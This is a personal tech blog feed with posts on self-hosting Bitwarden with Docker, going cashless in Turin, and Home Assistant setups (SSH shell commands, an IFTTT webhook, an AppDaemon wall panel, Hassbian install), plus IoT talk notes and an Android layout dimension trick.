How to self-host Bitwarden (with Docker)

Wed, 20 Feb 2019 00:00:00 +0000

A password manager is one of the most essential tools that a modern citizen of the internet should have since 99.99% of services require one to provide a series of characters to later login.
Managing passwords becomes more and more difficult if you want to meet secure standards. That’s why, lately, password managers like Bitwarden, LastPass and 1Password are gaining traction with lots of users.
My journey with password managers started a long time ago but now I’ve been using BitWarden for over an year and at the beginning of this month I’ve moved to a self hosted solution.

The importance of self-hosting

Self-hosting, in this day and age, is an important practice that, if possible, should be adopted by more and more people.
It’s not always fun and games but tools like Docker can come to the rescue!
There’s nothing to loose going with a self hosted solution (ok, maybe time), but if you take a look at the vantages, worries should just fade away.

Instructions

0. Requisites

A computer or a NAS that you can use as a server;
Some cli bravery;
A router that can do port-forwarding (if you want to expose your instance to the internet).

1. Installing Docker

1.1 On macOS (with Brew)

brew cask install docker

1.2 On Windows (with Choco)

choco install docker-desktop

1.3 On Linux

Every distro handles the installation of Docker in a slightly different way. Check out the Docker’s official doc.

###

Going Cashless As A Student [Turin 2018]

Sat, 22 Dec 2018 00:00:00 +0000

Before we start talking about going cashless we need to talk about the reason behind this choice.
Going (almost) completely cashless ain’t easy and requires at least one rollback solution if something goes wrong (and yep, it happens).

As someone who loves tech but has a love-hate relationship with money (especially with cash), going cashless means worrying less about the things you’ve got in your pocket.

Going cashless means relying on payment services and below you can find a list of the things I use daily to fulfill my payments needs.

Services I Use

Apps

Micropayments (Below €10)

Satispay. I use Satispay regularly for my day-to-day payments of small (and not-vital) things. It’s a small and dependable app that’s available on both iOS and Android. But a payment app has the priority of being adopted and here, in Turin, a lot of places accept Satispay.

This app is like the Venmo of Italy.

Normal Payments (€10 - €100)

Normal payments make up the most of my monthly expenses and the 99% of them go through my phone.
The main app I use for this kind of payments is Intesa San Paolo Mobile (my bank).
The app is sleek and modern, supports fingerprint and NFC payments.
Since the widespread adoption of NFC point of sales is continuously rising, NFC mobile payments are a well-made possibility that’s secure and practical.

Big Payments (100€+)

For bigger payments I use a mix of techniques.
While using mostly credit/debit cards for my day to day payments, I’ve taken a different approach if the expense is recurring. Wire transfers, as old as they are, can still be used for this kind of things.

Worst cases (and how I fix them)

Public Transportation

Public transport tickets here in Turin can be a bit cumbersome for new-comers.
You need to have a BipCard or some sorts of smartcard issued by your University (or workplace) then you can add bus tickets on that card.
Paying for tickets can be done by going to a tobacconist (and using cash) or you can use the GttToMove and pay online (my preferred solution).

Farmer’s Market

As someone who loves cooking and knows that the freshness of the ingredients is one of the most important things, Farmer’s Markets are a must.
The problem? Stands aren’t so happy to accept credit cards, especially for small payments. Cleanest solution? Rolling back to cash.
It takes an extra step, but it’s not that bad. I plan my expenses in advance to minimize the amount of spare cash left in the wallet so I’m almost cashless 😂.

What’s in my wallet?

One of the most asked questions to me is: “Hey, Eliseo, what’s in your wallet?”. As someone that declares to be for the most part cashless, I’ve seen a growing interest in my wallet from third parties.
So here it is!

My wallet

Credit card(s);
University badge;
A bottle opener;
A paper cutter;
A USB stick (yep, still a thing);
Driving license;

It’s simple, it’s a part of my daily check triple patting (Wallet, phone and keys) and if I’m not going to drive, I can leave it behind at home.

Managing my expenses

You can argue that using cashless payment methods can alienate yourself from your own spending, and yeah, I’m with you on this one.
You need to have a method to track what are you spending (and how) and after months of using a Google Drive Spreadsheet I’ve graduated to Firefly III, a self-hosted money tracking solution.

Going cashless is possible, is convenient and less stressful (at least for me). Thank you for your time and #GoCashless!

Do you want to talk to me about projects, fun stuff and other things that might be interesting?

Hit me up on Twitter.

Using Home Assistant to control computers through SSH

Sun, 14 Oct 2018 00:00:00 +0000

Home Assistant is starting to take a nice shape here in my college bedroom and I’m trying to add even more commodities to it.
The last one? Opening apps on my Mac Mini when I’m laying in bed at night.

Yesterday I was researching on how I could control my Mac remotely, but then I thought: “what if I use the tools that Apple baked in macOS?”. SSH became the obvious choice.

That’s the steps I took to make it possible:

Enable SSH on your computer. On a Mac you do this with System Preferencess.app

System Preferences.app > Sharing > Remote Login

On the machine that runs Home Assistant, generate a new key pair using the user that runs Home Assistant.

$ > ssh-keygen -t rsa

Then, appended the generated public key to the Mac authorized_keys file.

$ > cat .ssh/id_rsa.pub | ssh <mac_user>@<mac_ip> 'cat >> .ssh/authorized_keys'

Add something like that to your Home Assistant configuration file:

shell_command:
open_website_fullscreen: ssh <mac_user>@<mac_ip> "open -a Google\ Chrome -n --args -app=<website_url> --start-fullscreen"

Restart Home Assistant

Now you’ll see the shell scommand expsed as a service.
From now on you can add this service to your frontend, call it from your smart speaker or use it inside your automations.

Introducing: General Purpose Lightroom Preset System

Tue, 07 Aug 2018 00:00:00 +0000

I love computer science and programming but my heart is a pretty big place and it can handle a lot of things.
Photograpy is one of those.

This is my first public preset pack and it’s an expandable system.
It’s the first Lightroom/Adobe Camera Raw preset pack published on Github that I’m aware of so anyone can submit new things to the pack.

Examples

Before

After

Download

Do you want to talk to me about projects, fun stuff and other things that might be interesting?

Hit me up on Twitter.

My Cheap Smart Home Setup - How do I get the public transport status?

Sun, 19 Nov 2017 00:00:00 +0000

Turin is a great city and I’m enjoying it.
The only problem is that I use public transport for almost anything.
Finding out that there’s an unexpected public transports strike is always a pain.

I had to solve this problem.

Since I’m working on my Smart Home project, I decided to include “strike data” into it so when I wake-up in the morning and I look at my Wall Mounted Controller I’ll get to know the status of the service, I’ll never get a nasty surprise.

The Route

Public transportation in Turin is mainly managed by GTT (Gruppo Torinese Trasporti) and they’ve a nice page where they publish line changes, news and strikes.
They also offer an RSS feed of this page here.

Now we need to decide how to get the data to our Home Assistant instance.
I decided to take the IFTTT way.

If you don’t know IFTTT, well, IFTTT is a easy and free web-service you can use to create chains of conditional statements called applets.

Today we’ll use two IFTTT services:

RSS Feed;
Web Hooks.

The first one will read the RSS feed, the second one will post the data to our Home Assistant instance.

Setup

You should be registered to IFTTT to continue

Open ifttt.com and login to your account;
Click on your account name on the top right and choose “New Applet”;
Click on the “this” button;

4. Click the “RSS Feed” tile; 5. Click the “New feed item matches” tile; 6. Set the keyword to the one used by your public transit company (in my case I use: “sciopero”); 7. Set the Feed URL to the one your company publishes the info on; 8. Click on “Create trigger”; 9. Click on the “that” link; 10. Click on the “Webhooks” tile; 11. Click on the “Make a web request” tile; 12. Set the URL to your Home Assistant API endpoint:

http://<YOUR HOMEASSISTANT IP>:8123/api/states/sensor.<YOUR SENSOR NAME>?api_password=<YOUR HOMEASSISTANT PASSWORD>

Set the method to “POST”;
Set the Content Type to “application/json”;
Set the body to:

 {
"state": "{% raw %}{{EntryTitle}}{% endraw %}",
"attributes": {
"friendly_name": "<YOUR SENSOR FRIENDLY NAME>",
"icon": "mdi:bus"
}
}

Click the “Create action” button;
You’re ready to go!

The next time your public transportation company posts a strike notice you’ll get the info in your Home Assistant instance.

As you can see IFTTT blends perfectly with Home Assistant.

These two platforms can bring us endless possibilities.

You can check my Home Assistant configuration files here.

Let me know what you think of this project and this article using the comments below or by hitting me up on Twitter.

My Cheap Smart Home Setup - Wall Mounted Controller

Wed, 15 Nov 2017 00:00:00 +0000

Smart Homes (or bedrooms) are a great conversation starters, that’s true only if you’re the one that controls them. When your guests aren’t able to use your smart home setup it ain’t fun for them. The solution-route I decided to take is the one that includes a Wall Mounted Panel.

Guide

To make this project you need:

Hardware

IKEA PLUTTS (0.99$) [LINK];
Wall Adapter (Free with the tablet);
El Cheapo Android Tablet (5$ from Subito.it, an italian Craiglist-like site).

Software (Raspberry Pi Side)

Home Assistant (check out the guide here).

Software (Android Tablet Side)

P.S.: You’ll need to root your Android Tablet if you want to hide the system bar.

Installation of AppDaemon

AppDaemon is a sandboxed environment for writing apps for Home Assistant.
You can find the documentation here.

Here’re the steps to install AppDaemon:

We first need to retrieve the “appdaemon” package. You can use pip3 to retrieve and install it.
```
$ sudo pip3 install appdaemon
```
Now we need to create a file called appdaemon.yaml somewhere.
I decided to put it in my Home Assistant Configuration directory.
```
cd /path/to/homeassistant/dir
mkdir appdaemon
cd appdaemon
touch appdaemon.yaml
```
Then we need to edit the appdaemon configuration file.
```
nano appdaemon.yaml
```
The minimal configuration is something like that:
```
AppDaemon:
disable_apps: 1
threads: 10
HASS:
ha_key: YOUR_HOMEASSISTANT_PASSWORD
ha_url: YOUR_HOMEASSISTANT_URL
```
You can copy-paste it and change the values accordingly to your needs.

Now that we have AppDaemon installed we need to daemonize it.

To daemonize it you need to:

Create a new file inside /etc/systemd/system/.

$ sudo touch /etc/systemd/system/appdaemon.service

Now we need to edit that file with the editor of our choice and describe our service.

[Unit]
Description=AppDaemon service for Home Assistant
[Service]
ExecStart=/usr/local/bin/appdaemon -c /path/to/homeassistant/dir
[Install]
WantedBy=multi-user.target

We’re almost done. We need to activate our service. To do so you’ve to type:

$ sudo systemctl daemon-reload
$ sudo systemctl enable appdaemon.service --now

We’re able to start the service now.
```
$ sudo service appdaemon start
```

Installation of HADashboard

HADashboard will be the heart of our wall mounted panel.

To install it you need to:

Edit the appdaemon.yaml configuration file. Open it with the text editor of your choice.
Now we need to append to that file the HADashboard configuration.
```
HADashboard:
dash_url: http://YOUR_HA_IP:5050
```

Now you’ve to create some folders inside the configuration directory.

mkdir compiled
mkdir compiled/css
mkdir compiled/javascript
mkdir compiled/html

Finally we have to make another folder to store our dashboards.
```
mkdir dashboards
```
Now we’ve to relaunch the appdaemon service. We can do it by sending this command:
```
$ sudo service appdaemon restart
```
Fire up your browser and try to load the dashboard url, you should see a warning page.

You’re all set! Now we have to build our dashboards. To learn how, follow this guide [LINK].

Creation of the wall mount

Ready To Rock

Here’re the last steps!

Snap your tablet in your tablet mount;
Launch Google Chrome and to to your dashboard URL;
Open the menu and click “add to homescreen”;
Close Chrome and launch Hide System Bar;
Click the “Hide System Bar” menu entry;
Close Hide System Bar;
Click on the dashboard shortcut.

You’re all set!
You’ve a great wall mounted house controller and your friends and family will love it!

I’ll surely post more guides like this one when I’ll get my hands on more awesome devices.

Let me know what you think of this dashboard and this article using the comments below or by hitting me up on Twitter.

My Cheap Smart Home Setup - Intro & Installation

Thu, 09 Nov 2017 00:00:00 +0000

Oh, Hi! Welcome!
This is my first “real” article after a long time.
Today I’ll talk about a topic I’m really enjoying lately.

Smart Home & Smart Home devices.

My journey in smart home technologies started a while ago but since I moved to a new apartment (#UniversityLife), I had to re-do and re-think a lot of things.

My new setup should be: portable (so it can move with me), unintrusive (‘cause it should blend in the environment) and cheap (‘cause money aren’t unlimited).

Hardware Side

I’ve decided to use a hardly-constrained hardware platform. A Raspberry Pi Zero W.

The Raspberry Pi Zero W isn’t what I define a “power-house”. It’s a great little device and it has great potentialities for its price.

If you aren’t familiar with its specs the list below should help you understand its capabilities.

1GHz, single-core CPU;
512MB RAM;
Mini HDMI and USB On-The-Go ports;
Micro USB power;
40-pin header;
Composite video and reset headers;
CSI camera connector.

And for the wireless side:

802.11 b/g/n wireless LAN;
Bluetooth 4.1;
Bluetooth Low Energy (BLE).

As you can see the RPi Zero W is a great little device and its ports are a godsend for my Smart Home needs.

Software Side

After years of OpenHab, I finally decided to switch platform.
My new platform of choice is Home Assistant.

What’s Home Assistant?

Home Assistant is an open-source smart home platform written in Python. It’s a really cool piece of software and you can extend it endlessly.

It’s Raspberry Pi-Friendly and it has a great material design inspired web interface.

The only downside is that it’s configuration-files heavy and it’s not so beginner friendly.

If you wrap your head around it you can build a lot of great things with it.

Installation

After figuring out the software we need, it’s time to install it.

Since I want to run other things on my Raspberry Pi, I decided to take the Hassbian route.

Hassbian is a special flavor of Raspbian that’s already configured and optimized to run Home Assistant.

This guide is valid for November 2017, please reefer to the official guide.

To install Hassbian you need:

A Raspberry Pi;
A Computer (I’m using a Linux machine);
A Micro SD Card (>= 4Gb).

So here are the steps to follow:

Download the Raspbian image from the Home Assistant site. [Direct Link];
Plug the Micro SD card to your computer;
Write the Image to the Micro SD card.

On a Mac/Linux you can use dd as follows:

dd if=<raspbian_img_file> of=<your_device> bs=4M

On Windows you can use Win32DiskImager or Etcher. Follow the official guide.

Now you’ve to decide how to connect your RPi to the network.

If you wanna take the ethernet way just plug your cable.
If you wanna take the Wi-Fi, follow the guide below.

Boot your Raspberry Pi;
Wait Home Assistant to install itself.

Connect to a Wi-Fi network

Mount your Micro SD card “boot” partition on your machine;
Create a new wpa_supplicant.conf file and put in it:

 country=<YOUR_COUNTRY_CODE>
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
ssid="YOUR_SSID"
psk="YOUR_PASSWORD"
}

Save the file;
Put the Micro SD in your PI.

Now that you have Home Assistant installed on your Pi you can play with it by reading the documentation.

A little intro to my setup

My setup right now is pretty basic.

I have a DHT22 sensor connected to my Raspberry Pi Zero W that’s able to monitor temperature and humidity of my bedroom.

The outlets I use to control my appliances are some generic 433Mhz ones.
You can buy a 3-pack of them for around 20€. It’s fairly easy to control them using a 433Mhz transmitter connected to the PI.

To control my main bedroom light I use a 433Mhz lamp holder.

The cost of this “smart-home” project floats around 45€ (including the RPi Zero W).

As you can see it’s simple to bring down the entry point of smart home devices.

Considering that a Philips Hue Kit costs around 80€ and after that you’re locked down to only a platform, the benefits of running your Home Automation Hub are pretty clear.

I’ll write more about my home automation project explaining things in depth when I’ll reach a “ready for production” state.

Let me know what you think of Home Assistant and this article using the comments below or by hitting me up on Twitter.

Linux Day IoT Talk

Wed, 18 Oct 2017 14:37:00 +0000

This was my first Linux Day in Turin, and I was late, like very late (as always 😂 ).

I decided to attend the IoT talk ‘cause I’m interested about this topic.

The speaker, @cesco_78, talked about how the tech companies are deploying a lot of devices, rapidly and they haven’t so much worries about security and stuffs like that.

You can find the notes here:

IoT

It’s a network of talking devices
IoT devices are:
- Sensors
- Home Appliances
- Vehicles
- Thermostats
- Complex Systems
It’s gaining a big momentum
They aren’t secure

There’re a lot of IoT devices

Problems

IPv4 addresses aren’t infinite.
A lot of them are in mobility so 4G cells are full
The range is a big problem

Solution

SigFox
LoRa

They’re a Low Power Wide Area Network. They use free frequencies. The range is great.

LPWAN aren’t Internet backed.

So a cluster of sensors is connected to a gateway. The gateway is then connected to internet.

SigFox

Less data and slow.

Packets (Upstream) are of 12 bytes.
Packets (Downstream) are of 8 bytes.

12 bytes/3 seconds

SigFox uses resellers and it’s a commercial network. The price is big and it’s billed “per-device”.

Western Europe is fully covered.

The advantages are:

Low energy required;
Free Roaming;
Easy to use.

Compatible devices:

MkrFox1200;
Nettrotter BIB.

LoRa

It’s like SigFox for the tech specifications.
It has unlimited data rates.
It’s an open standard.
There are a lot of providers.

Choosing a low power, data service is difficult. The decision has to be taken “per-project”.

Alternatives

If you have a network (WiFi/3G/4G) and if you want to transfer data without using a lot of bandwidth you can use:

MQTT

Message Queue Telemetry Transport

It has a little overhead;
It uses the IP protocol;
A lot of big players use it (Facebook, WhatsApp, …).

It uses a broker, subscriber and publisher infrastructure.

A broker lists topics.
A subscriber can “subscribe” a topic.
A publisher can “publish” on a topic.

Configuring a MQTT connection to/from a broker is dead simple.

As you can see, IoT is a great thing.
If we’re able to avoid big manufactures we can get back our data.

A Little Hack For Android Dimensions

Thu, 26 May 2016 14:35:00 +0000

If you write a lot of UI layouts for Android and your goal is making a responsive Android App, you surely faced the need of having something like “match_parent” or “wrap_content” in your Android Dimension Resources.

You might think of typing this:

But it doesn’t work like this. And the compiler will let you know that it doesn’t like what you’ve typed. 😡

We’ve to go a little bit deeper and see how the Android Source Code manages LayoutParams.

Looking to the source code you can see that:

MATCH_PARENT and WRAP_CONTENT are two static final ints and they’re set respectively to -1 and -2.

When you set the width or the height to a view, the value is stored in an int (using px as a measurement unit).

Px isn’t the only measurement unit. Android uses a lot of them (dp, sp, mm) but most of them depends on other things such as the screen density. Px is density independent and this is good for us!

At this point you can try putting -1px in place of match_parent in one of your layouts and it will work as expected!

Observing this we can say that:

MATCH_PARENT equals to -1px,
WRAP_CONTENT equals to -2px. Nice, uh?

What you can do using this trick?

Using this trick you can build responsive apps exploiting the dimension resources xml file and resize things to reach your screen boundaries without recurring to Java but only using xml.

Example:

Go and spread the word ‘cause we need to #BuildBetterApps!